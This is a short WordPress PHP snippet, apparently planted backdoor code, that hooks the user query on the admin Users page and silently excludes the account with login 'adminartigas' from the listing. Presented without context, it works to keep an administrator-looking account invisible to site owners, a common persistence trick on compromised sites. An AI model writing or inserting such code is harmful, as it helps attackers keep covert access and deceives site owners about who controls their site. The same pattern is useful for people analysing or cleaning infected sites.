add_action('pre_get_users', function($query) {
if (is_admin() && isset($GLOBALS['pagenow']) && $GLOBALS['pagenow'] === 'users.php') {
$hidden_user = 'adminartigas';
$user = get_user_by('login', $hidden_user);
if ($user) {
$exclude = $query->get('exclude');
if (empty($exclude)) {
$exclude = [];
}
if (!is_array($exclude)) {
$exclude = [$exclude];
}
$exclude[] = $user->ID;
$query->set('exclude', $exclude);
}
}
});
